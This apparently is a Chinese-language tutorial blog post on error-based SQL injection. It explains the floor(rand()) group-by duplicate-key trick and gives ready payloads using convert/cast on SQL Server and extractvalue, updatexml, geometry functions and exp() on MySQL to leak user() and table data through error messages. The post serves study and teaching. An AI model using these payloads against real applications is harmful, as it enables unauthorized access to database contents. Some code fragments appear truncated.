WEB-SQL报错注入
一直堆着没有写…那么现在开始整理这种在特殊情境下节省时间的注入方法吧
报错注入
报错注入:通过报错信息来获取我们想要的信息的SQL注入利用方式。
其构造根据产生报错的函数而各有不同,但是目的就是执行我们输入的sql语句,并通过报错回显的方式直接输出结果。
前提:
- 存在sql注入点
- 需要页面有错误回显
- 利用函数没有被过滤
先提一些SQL Server
SQL Server
SQL Server 中的报错函数,以数据类型转换错误最为常见。CAST()函数和CONVERT()函数都不能执行四舍五入或截断操作,如果执行就会产生错误信息。
- convert():CONVERT() 函数可以用不同的格式显示日期/时间数据。
CONVERT(目标数据类型,内容,日期/时间输出格式)
- cast():CAST()函数可以用来转换数据类型
CAST (表达式 AS 目标数据类型)
利用如下(强行换行为了看清楚):1
2
3
4
5select * from user where username='root' and password='root'
and 1=convert(int,(select top 1 users.username from users))
select * from user where username='root' and password='root'
and 1=cast((select top 1 users.username from users),int)
Mysql
Mysql报错函数很多,下面一种种进行说明以及演示
floor()
说是floor()报错,但实际上这个报错floor()只是其中的一小环,需要联合rand(),group by 一起使用。
- floor():floor(num)函数只返回num整数部分,小数部分舍弃。
- rand():rand()可以产生一个随机的0-1的数字;rand()括号中给予参数,就可以相当于给了一个伪随机数的种子,伪随机数种子不变,那么接下来产生的随机数是固定的。
- group by:group by 列名/列号,实现产生列名相同的合并成一行的临时表,然后从临时表中查询,如果从一个合并后有多个值的字段中查询,只会显示第一个。但可以对所有使用聚合函数,详情戳=w=
报错利用
1 | select 1 from |
也可以换一个姿势1
2
3
4
5
6
7
8
9select 1 from
(
select
count(*)
from
information_schema.TABLES
group by
concat((select name from lesson1 limit 1 offset 1),floor(rand(0)*2))
) as a;
ps.报错结果中最后的1 是由floor(rand(0)*2)产生的
复杂的原理
关于 group by 与 rand() 在一起会产生蜜汁化学反应,对此官网有提到:
Use of a column with RAND() values in an ORDER BY or GROUP BY clause may yield unexpected results because for either clause a RAND() expression can be evaluated multiple times for the same row, each time returning a different result.
按照ORDER BY或GROUP BY子句的顺序使用RAND()值的列可能会产生意想不到的结果,因为对于任一子句,RAND()表达式都可以被多次评估,每次返回一个不同的结果。
对于这种蜜汁化学反应,网上大部分对报错注入的说明都是rand()产生的值被当做主键放入临时表中,至于它为什么不是被当做列号处理,和其他参数有啥区别…以及究竟具体情况是如何的,网上没有找到更详细的说明,虽然有关于group的底层实现,请原谅老朽才学疏浅,无法看懂。
所以可以先建立一个可以解释原理的观念:rand() 放在group by 后时,rand产生的值被当做主键放入临时表中
接下来解释文档中提到的多次评估,同时说明当select count(*) group by rand()在一起时操作的流程:
- 1.group by 会产生一张临时表
- 2.查询原表的一行,按照group by的rand()判断,此时计算一次rand()
- 3.判断 rand()计算结果 作为的主键是否已经存在在临时表中
- 4.若已经存在,count(*)结果+1。返回步骤2
- 5.若不存在,向临时表中插入这行数据,此时计算一次rand()
- 6.按照 rand()计算结果 作为的主键写入临时表。返回步骤2
这么一看可能有点复杂,但是可以分析得出:如果判断主键存在,rand()只需要计算一次,如果判断主键不存在,rand()总共要计算两次。
此时的流程为:---rand计算---判断---rand计算---插入---
同时,我们知道rand()的值是会变化的,如果rand计算一次,判断主键是不存在了,rand第二次计算时的结果作为插入的主键又已经存在于临时表中,会发生什么?自然就是我们之前看到的报错了。
floor(rand(0)*2)正是特意构造的这么一串”随机数”
下面将 floor(rand(0)*2) 替代 rand(),按照”随机数”的值看下执行流程
最后报错成功,这里我们也可以解决之前的疑问,为什么必须有三行数据才行,因为三行数据才能触发错误。
由于是主键重复,一行错误触发是不可能的,有没有可能两行来触发呢?
根据原理只要找到随机种子生成的随机数是1101,0010,0101,1010都可以
随便凑了一下,发现 -7 可以
success!
还有不懂戳这里
floor在Mysql 5.0 可以使用
以下的函数在MySQL 5.1.5以后可以使用:
extractvalue()
extractvalue():用来解析XML数据,从目标XML中返回包含所查询值的字符串EXTRACTVALUE (XML_document, XPath_string);
XML_document:String格式,为XML文档对象的名称或文档内容
XPath_string:Xpath格式的字符串1
2SELECT ExtractValue('<a><b/></a>', 'count(/a/b)');
SELECT extractvalue(doc,'/book/author/initial');
报错利用
1 | select 1 from lesson1 where id=1 and (extractvalue(1,concat(0x2e,(select user())))) |
注意limit 1
通过报错信息显而易见,语法错误
使用concat()是因为,可以在前面加入字符导致xpath格式非法
此处有点奇怪,当使用0x5c(/)读取user()时,第一个字符会不见;
当使用数字1,读取数字不会报错
换成0x2e(.)都可以成功,就都用0x2e吧,到时候在更根据情况修改
updatexml()
updatexml():更新XML,改变文档中符合条件的节点的值UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据1
update x set doc=updatexml(doc,'/book/author/initial','!!!');
报错利用
1 | select 1 from lesson1 where id=1 and (updatexml(1,concat(0x5e24,(select user()),0x5e24),1)) |
注意limit 1
原理相同
GeometryCollection()
GeometryCollection():可以建立一个保存任意类型的空间数据
不深入
报错利用
1 | select 1 from lesson1 where id=1 and GeometryCollection((select * from(select * from(select user())a)b)) |
注意limit 1
polygon()
polygon():与上类似建立一个空间多边形数据1
2SET @poly =
'Polygon((0 0,0 3,3 0,0 0),(1 1,1 2,2 1,1 1))';
报错利用
1 | select 1 from lesson1 where id=1 and polygon((select * from(select * from(select user())a)b)) |
multipoint() multilinestring() multipolygon() linestring()
1 | multipoint():点元素集合 |
exp()
exp():返回e(自然对数的底)到X次方的值1
2multipoint():点元素集合
select 1 from lesson1 where id=1 and exp(~(select*from(select user())a))
Mysql 5.7 以后
1 | ST_LatFromGeoHash() |